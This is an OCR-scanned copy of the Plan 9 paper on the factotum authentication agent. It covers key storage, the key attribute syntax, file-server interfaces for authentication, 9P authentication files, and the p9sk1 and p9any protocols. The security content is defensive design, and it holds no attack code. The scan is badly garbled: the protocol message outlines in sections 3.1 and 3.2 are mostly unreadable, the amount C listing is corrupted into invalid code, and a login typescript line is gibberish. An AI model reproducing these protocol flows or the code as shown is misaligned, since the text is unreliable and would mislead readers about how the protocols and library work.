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Abstract 


The security architecture of the Plan 9™ operat- 
ing system has recently been redesigned to 
address some technical shortcomings. This 
redesign provided an opportunity also to make 
the system more convenient to use securely. 
Plan 9 has thus improved in two ways not usu- 
ally seen together: it has become more secure 
and easier to use. 


The central component of the new architecture is 
a per-user self-contained agent called factotum. 
Factotum securely holds a copy of the user’s 
keys and negotiates authentication protocols, on 
behalf of the user, with secure services around 
the network. Concentrating security code in a 
single program offers several advantages includ- 
ing: ease of update or repair to broken security 
software and protocols; the ability to run secure 
services at a lower privilege level; uniform man- 
agement of keys for all services; and an opportu- 
nity to provide single sign on, even to unchanged 
legacy applications. Factotum has an unusual 
architecture: it is implemented as a Plan 9 file 
server. 


1. Introduction 


Secure computing systems face two challenges: 
first, they must employ sophisticated technology 
that is difficult to design and prove correct; and 
second, they must be easy for regular people to 
use. The question of ease of use is sometimes 
neglected, but it is essential: weak but easy-to- 
use security can be more effective than strong but 
difficult-to-use security if it 1s more likely to be 
used. People lock their front doors when they 
leave the house, knowing full well that a burglar 
is capable of picking the lock (or avoiding the 
door altogether); yet few would accept the cost 
and awkwardness of a bank vault door on the 


house even though that might reduce the proba- 
bility of a robbery. A related point is that users 
need a clear model of how the security operates 
(if not how it actually provides security) in order 
to use it well; for example, the clarity of a lock 
icon on a web browser is offset by the confusing 
and typically insecure steps for installing X.509 
certificates. 


The security architecture of the Plan 9 operating 
system [11] has recently been redesigned to 
make it both more secure and easier to use. By 
security we mean three things: first, the business 
of authenticating users and services; second, the 
safe handling, deployment, and use of keys and 
other secret information; and third, the use of 
encryption and integrity checks to safeguard 
communications from prying eyes. 


The old security architecture of Plan 9 had sev- 
eral engineering problems in common with other 
Operating systems. First, it had an inadequate 
notion of security domain. Once a user provided 
a password to connect to a local file store, the 
system required that the same password be used 
to access all the other file stores. That is, the 
system treated all network services as belonging 
to the same security domain. 


Second, the algorithms and protocols used in 
authentication, by nature tricky and difficult to 
get right, were compiled into the various applica- 
tions, kernel modules, and file servers. Changes 
and fixes to a security protocol required that all 
components using that protocol needed to be 
recompiled, or at least relinked, and restarted. 


Third, the file transport protocol, 9P [12], that 
forms the core of the Plan 9 system, had its 
authentication protocol embedded in its design. 
This meant that fixing or changing the authenti- 
cation used by 9P required deep changes to the 
system. If someone were to find a way to break 
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the protocol, the system would be wide open and 
very hard to fix. 


These and a number of lesser problems, com- 
bined with a desire for more widespread use of 
encryption in the system, spurred us to rethink 
the entire security architecture of Plan 9. 


The centerpiece of the new architecture is an 
agent, called factotum, that handles the user’s 
keys and negotiates all security interactions with 
system services and applications. Like a trusted 
assistant with a copy of the owner’s keys, 
factotum does all the negotiation for security 
and authentication. Programs no longer need to 
be compiled with cryptographic code; instead 
they communicate with factotum agents that 
represent distinct entities in the cryptographic 
exchange, such as a user and server of a secure 
service. If a security protocol needs to be added, 
deleted, or modified, only factotum needs to be 
updated for all system services to be kept secure. 


Building on factotum, we modified secure ser- 
vices in the system to move user authentication 
code into factotum; made authentication a sepa- 
rable component of the file server protocol; 
deployed new security protocols; designed a 
secure file store, called secstore, to protect our 
keys but make them easy to get when they are 
needed; designed a new kernel module to support 
transparent use of Transport Layer Security 
(TLS) [3]; and began using encryption for all 
communications within the system. The overall 
architecture is illustrated in Figure la. 


Secure protocols and algorithms are well under- 
stood and are usually not the weakest link in a 
system’s security. In practice, most security 
problems arise from buggy servers, confusing 
software, or administrative oversights. It is these 
practical problems that we are addressing. 
Although this paper describes the algorithms and 
protocols we are using, they are included mainly 
for concreteness. Our main intent ts to present a 
simple security architecture built upon a small 
trusted code base that is easy to verify (whether 
by manual or automatic means), easy to under- 
stand, and easy to use. 


Although it is a subjective assessment, we 
believe we have achieved our goal of ease of use. 
That we have achieved our goal of improved 
security 1s supported by our plan to move our 
currently private computing environment onto 
the Internet outside the corporate firewall. The 
rest of this paper explains the architecture and 
how it is used, to explain why a system that is 
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Figure la. Components of the security architecture. Each 
box is a (typically) separate machine; cach cllipse a proccss. 
The cllipses labeled Fy are factotum processes; those 
labeled Py are the picces and proxics of a distributed pro- 
gram. The authentication scrver is one of several reposito- 
rics for users’ security information that factotum processes 
consult as required. Secstore is a shared resource for stor- 
ing private information such as keys, factotum consults it 
for the user during bootstrap. 


easy to use securely is also safe enough to run in 
the open network. 


2. An Agent for Security 


One of the primary reasons for the redesign of 
the Plan 9 security infrastructure was to remove 
the authentication method both from the applica- 
tions and from the kernel. Cryptographic code is 
large and intricate, so it should be packaged as a 
separate component that can be repaired or modi- 
fied without altering or even relinking applica- 
tions and services that depend on it. If a security 
protocol is broken, tt should be trivial to repair, 
disable, or replace it on the fly. Similarly, it 
should be possible for multiple programs to use a 
common security protocol without embedding it 
in each program. 


Some systems use dynamically linked libraries 
(DLLs) to address these configuration issues. 
The problem with this approach ts that it leaves 
security code in the same address space as the 
program using it. The interactions between the 
program and the DLL can therefore accidentally 
or deliberately violate the interface, weakening 
security. Also, a program using a library to 
implement secure services must run at a privilege 
level necessary to provide the service; separating 
the security to a different program makes it pos- 
sible to run the services at a weaker privilege 
level, isolating the privileged code to a single, 
more trustworthy component. 
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Following the lead of the SSH agent [20], we 
give each user an agent process responsible for 
holding and using the user’s keys. The agent 
program ts called factotum because of its simi- 
larity to the proverbial servant with the power to 
act on behalf of his master because he holds the 
keys to all the master’s possessions. It 1s essen- 
tial that factotum keep the keys secret and use 
them only in the owner’s interest. Later we’ll 
discuss some changes to the kernel to reduce the 
possibility of factotum leaking information 
inadvertently. 


Factotum is implemented, like most Plan 9 ser- 
vices, as a file server. It 1s conventionally 
mounted upon the directory /mnt/factotum, and 
the files it serves there are analogous to virtual 
devices that provide access to, and control of, the 
services of the factotum. The next few sections 
describe the design of factotum and how it oper- 
ates with the other pieces of Plan 9 to provide 
security services. 


2.1. Logging in 

To make the discussions that follow more con- 
crete, we begin with a couple of examples show- 
ing how the Plan 9 security architecture appears 
to the user. These examples both involve a user 
gre logging in after booting a local machine. 
The user may or may not have a secure store in 
which all his keys are kept. If he does, factotum 
will prompt him for the password to the secure 
store and obtain keys from it, prompting only 
when a key isn’t found in the store. Otherwise, 
factotum must prompt for each key. 


In the typescripts, \n represents a literal newline 
character typed to force a default response. User 
input is in italics, and long lines are folded and 
indented to fit. 


This first example shows a user logging in with- 
out help from the secure store. First, factotum 
prompts for a user name that the local kernel will 
use: 

user[none]: gre 


(Default responses appear in square brackets.) 
The kernel then starts accessing local resources 
and requests, through factotum, a user/password 
pair to do so: 

[Adding key: dom=cs.bell—labs.com 

proto=p9sk1l 

user[gre]: \n 

password: **** 
Now the user is logged in to the local system, 
and the mail client starts up: 


!Adding key: proto=apop 
server=plan9.bell—labs.com 

user[gre]: \n 

password: *"** 
Factotum ts doing all the prompting and the 
applications being started are not even touching 
the keys. Note that it’s always clear which key is 
being requested. 


Now consider the same login sequence, but in the 

case where gre has a secure store account: 
user[none]: gre 
secstore password: 
STA (RINESE@CURID? 227 7022 "° 

That’s the last gre will hear from factotum 

unless an attempt is made to contact a system for 

which no key ts kept in the secure store. 
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2.2. The factotum 


Each computer running Plan 9 has one user id 
that owns all the resources on that system — the 
scheduler, local disks, network interfaces, etc. 
That user, the host owner, is the closest analogue 
in Plan 9 to a Unix root account (although it is 
far weaker; rather than having special powers, as 
its name implies the host owner is just a regular 
user that happens to own the resources of the 
local machine). On a single-user system, which 
we call a terminal, the host owner is the id of the 
terminal’s user. Shared servers such as CPU 
servers normally have a pseudo-user that initially 
owns all resources. At boot time, the Plan 9 ker- 
nel starts a factotum executing as, and therefore 
with the privileges of, the host owner. 


New processes run as the same user as the pro- 
cess which created them. When a process must 
take on the identity of a new user, such as to pro- 
vide a login shell on a shared CPU server, it does 
so by proving to the host owner’s factotum that 
it is authorized to do so. This is done by running 
an authentication protocol with factotum to 
prove that the process has access to secret infor- 
mation which only the new user should possess. 
For example, consider the setup in Figure la. If 
a user on the terminal wants to log in to the CPU 
server using the Plan 9 cpu service [12], then Py 
might be the cpu client program and P< the cpu 
server. Neither P¢: nor P 7 knows the details of 
the authentication. They do need to be able to 
shuttle messages back and forth between the two 
factotums, but this is a generic function easily 
performed without knowing, or being able to 
extract, secrets in the messages. Py will make a 
network connection to P¢:. Pz and P¢ will then 
relay messages between the factotum owned by 
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the user, /'7, and the one owned by the CPU 
server, Fc, until mutual authentication has been 
established. Later sections describe the RPC 
between factotum and applications and the 
library functions to support proxy operations. 


The kernel always uses a single local instance of 
factotum, running as the host owner, for its 
authentication purposes, but a regular user may 
start other factotum agents. In fact, the 
factotum representing the user need not be run- 
ning on the same machine as its client. For 
instance, it 1s easy for a user on a CPU server, 
through standard Plan 9 operations, to replace the 
/mnt/factotum in the user’s private file name 
space on the server with a connection to the 
factotum running on the terminal. (The usual 
file system permissions prevent interlopers from 
doing so maliciously.) This permits secure oper- 
ations on the CPU server to be transparently vali- 
dated by the user’s own factotum, so secrets 
need never leave the user’s terminal. The SSH 
agent [20] does much the same with special SSH 
protocol messages, but an advantage to making 
our agent a file system is that we need no new 
mechanism to access our remote agent; remote 
file access is sufficient. 


Within factotum, each protocol is implemented 
as a state machine with a generic interface, so 
protocols are in essence pluggable modules, easy 
to add, modify, or drop. Writing a message to 
and reading a message from factotum each 
require a separate RPC and result in a single state 
transition. Therefore factotum always runs to 
completion on every RPC and never blocks wait- 
ing for input during any authentication. More- 
over, the number of simultaneous authentications 
is limited only by the amount of memory we’re 
willing to dedicate to representing the state 
machines. 


Authentication protocols are implemented only 
within factotum, but adding and removing pro- 
tocols does require relinking the binary, so 
factotum processes (but no others) need to be 
restarted in order to take advantage of new or 
repaired protocols. 


At the time of writing, factotum contains 
authentication modules for the Plan 9 shared key 
protocol (p9sk1), SSH’s RSA _ authentication, 
passwords in the clear, APOP, CRAM, PPP’s 
CHAP, Microsoft PPP’s MSCHAP, and VNC’s 
challenge/response. 
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2.3. Local capabilities 


A capability system, managed by the kernel, is 
used to empower factotum to grant permission 
to another process to change its userid. A kernel 
device driver implements’ two files, 
/dev/caphash and /dev/capuse. The write- 
only file /dev/caphash can be opened only by 
the host owner, and only once. Factotum opens 
this file immediately after booting. 


To use the files, factotum creates a string of the 
form  userid]@userid2@random-string, uses 
SHAI HMAC to hash wserid/@userid2 with key 
random-string, and writes that hash to 
/dev/caphash. Factotum then passes the origi- 
nal string to another process on the same 
machine, running as user userid], which writes 
the string to /dev/capuse. The kernel hashes 
the string and looks for a matching hash tn its 
list. If it finds one, the writing process’s user 1d 
changes from userid! to userid2. Once used, or 
if a timeout expires, the capability is discarded 
by the kernel. 


The capabilities are local to the machine on 
which they are created. Hence a factotum run- 
ning on one machine cannot pass capabilities to 
processes on another and expect them to work. 


2.4. Keys 


We define the word key to mean not only a 
secret, but also a description of the context in 
which that secret is to be used: the protocol, 
server, user, etc. to which it applies. That is, a 
key 1s a combination of secret and descriptive 
information used to authenticate the identities of 
parties transmitting or receiving information. 
The set of keys used in any authentication 
depends both on the protocol and on parameters 
passed by the program requesting the authentica- 
tion. 


Taking a tip from SDSI [15], which represents 
security information as textual S-expressions, 
keys in Plan 9 are represented as plain UTF-8 
text. Text is easily understood and manipulated 
by users. By contrast, a binary or other cryptic 
format can actually reduce overall security. 
Binary formats are difficult for users to examine 
and can only be cracked by special tools, them- 
selves poorly understood by most users. For 
example, very few people know or understand 
what’s inside their X.509 certificates. Most 
don’t even know where in the system to find 
them. Therefore, they have no idea what they are 
trusting, and why, and are powerless to change 
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their trust relationships. Textual, centrally stored 
and managed keys are easier to use and safer. 


Plan 9 has historically represented databases as 
attribute/value pairs, since they are a good foun- 
dation for selection and projection operations. 
Factotum therefore represents the keys in the 
format attribute=value, where attribute is an 
identifier, possibly with a single-character prefix, 
and value is an arbitrary quoted string. The pairs 
themselves are separated by white space. For 
example, a Plan 9 key and an APOP key might 
be represented like this: 
dom=bel1]1-labs.com proto=p9skl user=gre 
!password=’don’’t tell’ 
proto=apop server=x.y.com uSer=gre 
!password=’open sesame’ 

If a value is empty or contains white space or 
single quotes, it must be quoted; quotes are rep- 
resented by doubled single quotes. Attributes 
that begin with an exclamation mark (!) are con- 
sidered secret. Factotum will never let a secret 
value escape its address space and will suppress 
keyboard echo when asking the user to type one. 


A program requesting authentication selects a 
key by providing a query, a list of elements to be 
matched by the key. Each element in the list 1s 
either an attribute=value pair, which 1s satisfied 
by keys with exactly that pair; or an attribute fol- 
lowed by a question mark, attribute?, which is 
satisfied by keys with some pair specifying the 
attribute. A key matches a query if every ele- 
ment in the list is satisfied. For instance, to 
select the APOP key in the previous example, an 
APOP client process might specify the query 


server=x.y.com proto=apop 


Internally, factotum’s APOP module would add 
the requirements of having user and !password 
attributes, forming the query 

server=x.y.com proto=apop user? !password? 


when searching for an appropriate key. 


Factotum modules expect keys to have some 
well-known attributes. For instance, the proto 
attribute specifies the protocol module responsi- 
ble for using a particular key, and protocol mod- 
ules may expect other well-known attributes 
(many expect keys to have ! password attributes, 
for example). Additional attributes can be used 
as comments or for further discrimination with- 
out intervention by factotum; for example, the 
APOP and IMAP mail clients conventionally 
include a server attribute to select an appropri- 
ate key for authentication. 


Unlike tn SDSI, keys tn Plan 9 have no nested 
structure. This design keeps the representation 
simple and straightforward. If necessary, we 
could add a nested attribute or, in the manner of 
relational databases, an attribute that selects 
another tuple, but so far the simple design has 
been sufficient. 


A simple common structure for all keys makes 
them easy for users to administer, but the set of 
attributes and their interpretation is_ still 
protocol-specific and can be subtle. Users may 
still need to consult a manual to understand all 
details. Many _ attributes = (proto, user, 
password, server) are self-explanatory and our 
short experience has not uncovered any particular 
difficulty in handling keys. Things will likely 
get messier, however, when we grapple with 
public keys and their myriad components. 


2.5. Protecting keys 


Secrets must be prevented from escaping 
factotum. There are a number of ways they 
could leak: another process might be able to 
debug the agent process, the agent might swap 
out to disk, or the process might willingly dis- 
close the key. The last is the easiest to avoid: 
secret information in a key is marked as such, 
and whenever factotum prints keys or queries 
for new ones, it is careful to avoid displaying 
secret information. (The only exception to this is 
the ‘‘plaintext password’’ protocol, which con- 
sists of sending the values of the user and 
!password attributes. Only keys tagged with 
proto=pass can have their passwords disclosed 
by this mechanism.) 


Preventing the first two forms of leakage requires 
help from the kernel. In Plan 9, every process is 
represented by a directory in the /proc file sys- 
tem. Using the files in this directory, other pro- 
cesses could (with appropriate access pemiission) 
examine factotum’s memory and registers. 
Factotum is protected from processes of other 
users by the default access bits of its /proc 
directory. However, we’d also like to protect the 
agent from other processes owned by the same 
user, both to avoid honest mistakes and to pre- 
vent an unattended terminal being exploited to 
discover secret passwords. To do this, we added 
a control message to /proc called private. 
Once the factotum process has written private 
to its /proc/pid/ct] file, no process can access 
factotum’s memory through /proc. (Plan 9 has 
no other mechanism, such as /dev/kmem, for 
accessing a process’s memory.) 
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Similarly, the agent’s address space should not 
be swapped out, to prevent discovering unen- 
crypted keys on the swapping media. The 
noswap control message in /proc prevents this 
scenario. Neither private nor noswap is spe- 
cific to factotum. User-level file servers such as 
dossrv, which interprets FAT file systems, could 
use noswap to keep their buffer caches from 
being swapped to disk. 


Despite our precautions, attackers might still find 
a way to gain access to a process running as the 
host owner on a machine. Although they could 
not directly access the keys, attackers could use 
the local factotum to perform authentications 
for them. In the case of some keys, for example 
those locking bank accounts, we want a way to 
disable or at least detect such access. That is the 
role of the confirm attribute in a key. Whenever 
a key with a confirm attribute is accessed, the 
local user must confirm use of the key via a local 
GUI. The next section describes the actual 
mechanism. 


We have not addressed leaks possible as a result 
of someone rebooting or resetting a machine run- 
ning factotum. For example, someone could 
reset a machine and reboot it with a debugger 
instead of a kernel, allowing them to examine the 
contents of memory and find keys. We have not 
found a satisfactory solution to this problem. 


2.6. Factotum transactions 


External programs manage factotum’s internal 
key state through its file interface, writing textual 
key and delkey commands to _ the 
/mnt/factotum/ctl file. Both commands take 
a list of attributes as an argument. Key creates a 
key with the given attributes, replacing any 
extant key with an identical set of public 
attributes. Delkey deletes all keys that match the 
given set of attributes. Reading the ct] file 
returns a list of keys, one per line, displaying 
only public attributes. The following example 
illustrates these interactions. 


% cd /mnt/factotum 


% 1s -l 

—] rw------- gre gre O Jan 30 22:17 confirm 
—-rw-----——— gre gre O Jan 30 22:17 ctl 
—|r----—--- gre gre 0 Jan 30 22:17 log 
-—lrw------- gre gre 0 Jan 30 22:17 needkey 
—-r—--r--r-— gre gre 0 Jan 30 22:17 proto 
—-rw-rw-rw- gre gre 0 Jan 30 22:17 rpc 


% Cat >ctl 

key dom=bell—labs.com proto=p9skl user=gre 
!password=’don’’t tell’ 

key proto=apop server=x.y.com user=gre 
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!password=’bite me’ 

AD 

WCat Ctl 

key dom=bell—labs.com proto=p9sk1 user=gre 

key proto=apop server=x.y.com user=gre 

% echo ’delkey proto=apop’ >ct] 

% cat ctl 

key dom=bell—labs.com proto=p9skl1 user=gre 

% 
(A file with the 1 bit set can be opened by only 
one process at a time.) 


The heart of the interface is the rpc file. Pro- 
grams authenticate with factotum by writing a 
request to the rpc file and reading back the reply; 
this sequence is called an RPC transaction. 
Requests and replies have the same format: a tex- 
tual verb possibly followed by arguments, which 
may be textual or binary. The most common 
reply verb is ok, indicating success. An RPC 
session begins with a start transaction; the 
argument is a key query as described earlier. 
Once started, an RPC conversation usually con- 
sists of a sequence of read and write transac- 
tions. If the conversation is successful, an 
authinfo transaction will return information 
about the identities learned during the transac- 
tion. The attr transaction retums a list of 
attributes for the current conversation; the list 
includes any attributes given in the start query 
as well as any public attributes from keys being 
used. 


As an example of the rpc file in action, consider 
a mail client connecting to a mail server and 
authenticating using the POP3 protocol’s APOP 
challenge-response command. There are four 
programs involved: the mail client Pc, the client 
factotum F'~, the mail server Ps, and the server 
factotum F's. All authentication computations 
are handled by the factotum processes. The 
mail programs’ role is just to relay messages. 


At startup, the mail server at x.y.com begins an 
APOP conversation with its factotum to obtain 
the banner greeting, which includes a challenge: 
P>s—F 5: start proto=apop role=server 
F's ia: ok 
P;—F 5: read 
F'<>—P 5: ok +0K POP3 challenge 
Having obtained the challenge, the server greets 
the client: 
P s—Pe: +0K POP3 challenge 


The client then uses an APOP conversation with 
its factotum to obtain a response: 


PcOFc¢: start proto=apop role=client 
server=x.y.com 
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FooPe: ok 

Pc OF oe: write +0K POP3 challenge 

PoP e: ok 

PcOFc: read 

Fo—P oc: ok APOP gre response 
Factotum requires that start requests include a 
proto attribute, and the APOP module requires 
an additional role attribute, but the other 
attributes are optional and only restrict the key 
space. Before responding to the start transac- 
tion, the client factotum looks for a key to use 
for the rest of the conversation. Because of the 
arguments in the start request, the key must 
have public attributes proto=apop and 
server=x.y.com; as mentioned earlier, the 
APOP module additionally requires that the key 
have user and !password attributes. Now that 
the client has obtained a response from its 
factotum, it echoes that response to the server: 


PoP x5: APOP gre response 


Similarly, the server passes this message to its 
factotum and obtains another to send back. 
P>s—F 5: write APOP gre response 
Fo P o>: ok 
Ps Fs: read 
Fs>—Ps5: ok +0K welcome 


PsP ¢: +0K welcome 


Now the authentication protocol is done, and the 
server can retrieve information about what the 
protocol! established. 

Ps ;—F 5: authinfo 

F’oPs: ok client=gre 

capabi lity=capability 

The authinfo data 1s a list of attr=value pairs, 
here a client user name and a capability. (Proto- 
cols that establish shared secrets or provide 
mutual authentication indicate this by adding 
appropriate aftr=value pairs.) The capability can 
be used by the server to change its identity to that 
of the client, as described earlier. Once it has 
changed its identity, the server can access and 
serve the client’s mailbox. 


Two more files provide hooks for a graphical 
factotum control interface. The first, confirm, 
allows the user detailed control over the use of 
certain keys. If a key has a confirm= attribute, 
then the user must approve each use of the key. 
A separate program with a graphical interface 
reads from the confirm file to see when a confir- 
mation is necessary. The read blocks until a key 
usage needs to be approved, whereupon it will 
return a line of the form 


confirm tag=1 attributes 


requesting permission to use the key with those 
public attributes. The graphical interface then 
prompts the user for approval and writes back 


tag=l answer=yes 
(Or answer=no). 


The second file, needkey, diverts key requests. 
In the APOP example, if a suitable key had not 
been found during the start transaction, 
factotum would have indicated failure by return- 
ing a response indicating what key was needed: 
Fo—3P oe: needkey proto=apop 
server=x.y.com user? ! password? 

A typical client would then prompt the user for 
the desired key information, create a new key via 
the ctl file, and then reissue the start request. 
If the needkey file is open, then instead of fail- 
ing, the transaction will block, and the next read 
from the /mnt/factotum/needkey file will 
return a line of the form 


needkey tag=1 attributes 


The graphical interface then prompts the user for 
the needed key information, creates the key via 
the ct] file, and writes back tag=1 to resume the 
transaction. 


The remaining files are informational and used 
for debugging. The proto file contains a list of 
supported protocols (to see what protocols the 
system supports, cat /mnt/factotum/proto), 
and the log file contains a log of operations and 
debugging output enabled by a debug control 
message. 


The next few sections explain how factotum ts 
used by system services. 


3. Authentication in 9P 


Plan 9 uses a remote file access protocol, 9P 
[12], to connect to resources such as the file 
server and remote processes. The original design 
for 9P included special messages at the start of a 
conversation to authenticate the user. Multiple 
users can share a single connection, such as when 
a CPU server runs processes for many users con- 
nected to a single file server, but each must 
authenticate separately. The authentication pro- 
tocol, similar to that of Kerberos [18], used a 
sequence of messages passed between client, file 
server, and authentication server to verify the 
identities of the user, calling machine, and serv- 
ing machine. One major drawback to the design 
was that the authentication method was defined 
by 9P itself and could not be changed. Moreover, 
there was no- mechanism to _ relegate 
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authentication to an external (trusted) agent, so a 
process implementing 9P needed, besides sup- 
port for file service, a substantial body of crypto- 
graphic code to implement a handful of startup 
messages in the protocol. 


A recent redesign of 9P addressed a number of 
file service issues outside the scope of this paper. 
On issues of authentication, there were two 
goals: first, to remove details about authentica- 
tion from the protocol itself; second, to allow an 
external program to execute the authentication 
part of the protocol. In particular, we wanted a 
way to quickly incorporate ideas found in other 
systems such as SFS [8]. 


Since 9P is a file service protocol, the solution 
involved creating a new type of file to be served: 
an authentication file. Connections to a 9P ser- 
vice begin in a state that allows no general file 
access but permits the client to open an authenti- 
cation file by sending a special message, gener- 
ated by the new fauth system call: 


afd = fauthCint fd, char *servicename) ; 


Here fd is the user’s file descriptor for the estab- 
lished network connection to the 9P server and 
servicename is the name of the desired service 
offered on that server, typically the file subsys- 
tem to be accessed. The returned file descriptor, 
afd, is a unique handle representing the authenti- 
cation file created for this connection to authenti- 
cate to this service; it is analogous to a capabil- 
ity. The authentication file represented by afd is 
not otherwise addressable on the server, such as 
through the file name hierarchy. In all other 
respects, it behaves like a regular file; most 
important, it accepts standard read and write 
operations. 


To prove its identity, the user process (via 
factotum) executes the authentication protocol, 
described in the next section of this paper, over 
the afd file descriptor with ordinary reads and 
writes. When client and server have successfully 
negotiated, the authentication file changes state 
so it can be used as evidence of authority in 
mount, 


Once identity is established, the process presents 
the (now verified) afd as proof of identity to the 
mount system call: 


mountCint fd, int afd, char *mountpoint, 
int flag, char *servicename) 


If the mount succeeds, the user now has appropri- 
ate permissions for the file hierarchy made visi- 
ble at the mount point. 
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This sequence of events has several advantages. 
First, the actual authentication protocol is imple- 
mented using regular reads and writes, not spe- 
cial 9P messages, so they can be processed, for- 
warded, proxied, and so on by any 9P agent with- 
out special arrangement. Second, the business of 
negotiating the authentication by reading and 
writing the authentication file can be delegated to 
an outside agent, in particular factotum; the pro- 
grams that implement the client and server ends 
of a 9P conversation need no authentication or 
cryptographic code. Third, since the authentica- 
tion protocol 1s not defined by 9P itself, it 1s easy 
to change and can even be negotiated dynami- 
cally. Finally, since afd acts like a capability, it 
can be treated like one: handed to another pro- 
cess to give it special permissions; kept around 
for later use when authentication is again 
required; or closed to make sure no other process 
can use it. 


All these advantages stem from moving the 
authentication negotiation into reads and writes 
on a separate file. As is often the case in Plan 9, 
making a resource (here authentication) accessi- 
ble with a file-like interface reduces a priori the 
need for special interfaces. 


3.1. Plan 9 shared key protocol 


In addition to the various standard protocols sup- 
ported by factotum, we use a shared key proto- 
col for native Plan 9 authentication. This proto- 
col provides backward compatibility with older 
versions of the system. One reason for the new 
architecture is to let us replace such protocols in 
the near future with more cryptographically 
secure ones. 


P9sk/ is a shared key protocol that uses tickets 
much like those in the original Kerberos. The 
difference is that we’ve replaced the expiration 
time in Kerberos tickets with a random nonce 
parameter and a counter. We sunimarize it here: 


COS: nonce 

SC: nonces,uid.,,domain . 

CA: nonces tid s, domain suid ©, 
factotum ¢: 

A->C: 


Ke {nonee suid ids K, }, 
Ks{noncey ,uide tidy K, \ 


CHS: Ks {nonces,uidc,uids,K,}, 
n { NONCE s counter } 
SC: 


K ,, {nonce c, counter } 
(Here K {x} indicates x encrypted with DES key 
K.) The first two messages exchange nonces and 
server identification. After this initial exchange, 
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the client contacts the authentication server to 
obtain a pair of encrypted tickets, one encrypted 
with the client key and one with the server key. 
The client relays the server ticket to the server. 
The server believes that the ticket is new because 
it contains nonces and that the ticket is from the 
authentication server because it is encrypted in 
the server key Kx. The ticket is basically a state- 
ment from the authentication server that now 
uid «and wid» share a secret K,,. The authentica- 
tor K, {nonce s,counter} convinces the server 
that the client knows K,, and thus must be uid ¢. 
Similarly, authenticator K,, {nonce c,counter } 
convinces the client that the server knows K, 
and thus must be wids. Tickets can be reused, 
without contacting the authentication server 
again, by incrementing the counter before each 
authenticator is generated. 


In the future we hope to introduce a public key 
version of p9skl, which would allow authentica- 
tion even when the authentication server is not 
available. 


3.2. The authentication server 


Each Plan 9 security domain has an authentica- 
tion server (AS) that all users trust to keep the 
complete set of shared keys. It also offers ser- 
vices for users and administrators to manage the 
keys, create and disable accounts, and so on. It 
typically runs on a standalone machine with few 
other services. The AS comprises two services, 
keyfs and authsrv. 


Keyfs is a user-level file system that manages an 
encrypted database of user accounts. Each 
account 1s represented by a directory containing 
the files key, containing the Plan 9 key for 
p9skl; secret for the challenge/response proto- 
cols (APOP, VNC, CHAP, MSCHAP, CRAM); 
log for authentication outcomes; expire for an 
expiration time; and status. If the expiration 
time passes, if the number of successive failed 
authentications exceeds 50, or if disabled ts 
written to the status file, any attempt to access 
the key or secret files will fail. 


Authsrv is a network service that brokers shared 
key authentications for the protocols p9sk1, 
APOP, VNC, CHAP, MSCHAP, and CRAM. 
Remote users can also call authsrv to change 
their passwords. 


The p9sk1 protocol was described in the previous 
section. The challenge/response protocols differ 
in detail but all follow the general structure: 


CS: 


NONCE ¢: 


S9C: nonces,uids,domains 

COA: nonces,uidy,domain ¢, 
hostid ¢ uid ¢ 

A>C: Ke flnonces wide ids K,,}, 
K si nonces uid eo uidy K,, 

CoS: Key fnoncesuidguids K,}, 
K,, {nonce s 

SAC: K, tnonce 

The password protocol 1s: 

CoA: Uide 

A->C: K,4K, } 

CrA: K y PASSWOFE p74, PASSWOI'E jew | 

AOC: @ 


To avoid replay attacks, the pre-encryption clear 
text for each of the protocols (as well as for 
p9skl) includes a tag indicating the encryption’s 
role in the protocol. We elided them in these 
outlines. 


3.3. Protocol negotiation 


Rather than require particular protocols for par- 
ticular services, we implemented a negotiation 
metaprotocol, p9any, which chooses the actual 
authentication protocol to use. P9any is used 
now by all native services on Plan 9. 


The metaprotocol is simple. The callee sends a 
null-terminated string of the form: 
v.n proto;@domain, protoz@domainz ... 


where n is a decimal version number, proto, 1s 
the name of a protocol for which the factotum 
has a key, and domain, is the name of the 
domain in which the key is valid. The caller then 
responds 

proto@domain 


indicating its choice. Finally the callee responds 
OK 


Any other string indicates failure. At this point 
the chosen protocol commences. The final 
fixed-length reply is used to make it easy to 
delimit the I/O stream should the chosen protocol 
require the caller rather than the callee to send 
the first message. 


With this negotiation metaprotocol, the underly- 
ing authentication protocols used for Plan 9 ser- 
vices can be changed under any application just 
by changing the keys known by the factotum 
agents at each end. 


P9any is vulnerable to man in the middle attacks 
to the extent that the attacker may constrain the 
possible choices by changing the stream. How- 
ever, we believe this is acceptable since the 
attacker cannot force either side to choose algo- 
rithms that it is unwilling to use. 
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4. Library Interface to Factotum 


Although programs can access factotum’s ser- 
vices through its file system interface, it is more 
common to use a C library that packages the 
interaction. There are a number of routines in the 
library, not all of which are relevant here, but a 
few examples should give their flavor. 


First, consider the problem of mounting a remote 
file server using 9P. An earlier discussion 
showed how the fauth and mount system calls 
use an authentication file, afd, as a capability, 
but not how factotum manages afd. The library 
contains a routine, amount (authenticated 
mount), that is used by most programs in prefer- 
ence to the raw fauth and mount calls. Amount 
engages factotum to validate afd; here is the 
complete code: 

nt 

amount(int fd, char *mntpt, 

int flags, char *aname) 
i 


Int ard, Cer: 
AuthiInfo “ai; 


afd = fauth(fd, aname); 
if(afd >= 0){ 
ai = auth_proxy(afd, amount_getkey, 
"proto=p9any role=client"); 
1f(ai != NULL) 
auth_freeAI(ai); 
ie = mount(fd, afd, mntpt, 
flags, aname); 
ifcafd >= 0) 
close(afd); 
return ret; 
} 
where parameter fd is a file descriptor returned 
by open or dial for a new connection to a file 
server. The conversation with factotum occurs 
in the call to auth_proxy, which specifies, as a 
key query, which authentication protocol to use 
(here the metaprotocol p9any) and the role being 
played (client). Auth_proxy will read and 
write the factotum files, and the authentication 
file descriptor afd, to validate the user’s right to 
access the service. If the call is successful, any 
auxiliary data, held in an AuthInfo structure, is 
freed. In any case, the mount is then called with 
the (perhaps validated) afd. A 9P server can 
cause the fauth system call to fail, as an indica- 
tion that authentication is not required to access 
the service. 


The second argument to auth_proxy is a func- 
tion, here amount_getkey, to be called if secret 
information such as a password or response to a 
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challenge is required as part of the authentica- 
tion. This function, of course, will provide this 
data to factotum as a key message on the 
/mnt/factotum/ct1 file. 


Although the final argument to auth_proxy in 
this example is a simple string, in general it can 
be a formatted-print specifier in the manner of 
printf, to enable the construction of more elab- 
orate key queries. 


As another example, consider the Plan 9 cpu ser- 
vice, which exports local devices to a shell pro- 
cess on a remote machine, typically to connect 
the local screen and keyboard to a more powerful 
computer. At heart, cpu is a superset of a service 
called exportfs [12], which allows one machine 
to see an arbitrary portion of the file name space 
of another machine, such as to export the net- 
work device to another machine for gatewaying. 
However, cpu is not just exportfs because it 
also delivers signals such as interrupt and negoti- 
ates the initial environment for the remote shell. 


